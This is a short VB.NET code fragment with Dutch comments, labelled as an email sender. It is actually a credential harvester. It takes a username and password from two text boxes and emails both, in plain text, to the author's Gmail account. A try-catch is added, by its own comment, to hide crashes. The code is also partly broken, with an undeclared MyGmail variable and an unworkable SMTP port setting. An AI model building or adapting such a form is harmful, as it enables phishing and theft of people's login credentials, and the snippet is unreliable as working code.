email sender vb

 ' Controleer of de Username & Password box zijn ingevuld
        If TextBox1.Text = "" Then
            MsgBox("Username Is Missing")
        End If
        If TextBox2.Text = "" Then
                MsgBox("Password is missing")
            Else

            End If

            ' Try-Catch Statement om crashes te verbergen
            Try
            ' Maak een nieuwe instantie van SmtpClient & MailMessage aan
            Dim Smtp_Server As New SmtpClient
            Dim e_mail As New MailMessage

            ' Configureer de inlog gegevens voor jou gmail
            Smtp_Server.Credentials = New Net.NetworkCredential("MyGmail", "MyPass")

            ' Instellingen nodig om verbinding met de GMail servers te maken
            Smtp_Server.Port = 465
            Smtp_Server.EnableSsl = True
            Smtp_Server.Host = "smtp.gmail.com"

            ' Creeer bericht
            e_mail = New MailMessage()
            e_mail.From = New MailAddress(MyGmail)
            e_mail.To.Add(MyGmail)
            e_mail.Subject = "Username: " & TextBox1.Text
            e_mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text

            ' Verstuur
            Smtp_Server.Send(e_mail)
        Catch ex As Exception

            End Try

        ' Laat de gebruiker een messagebox zien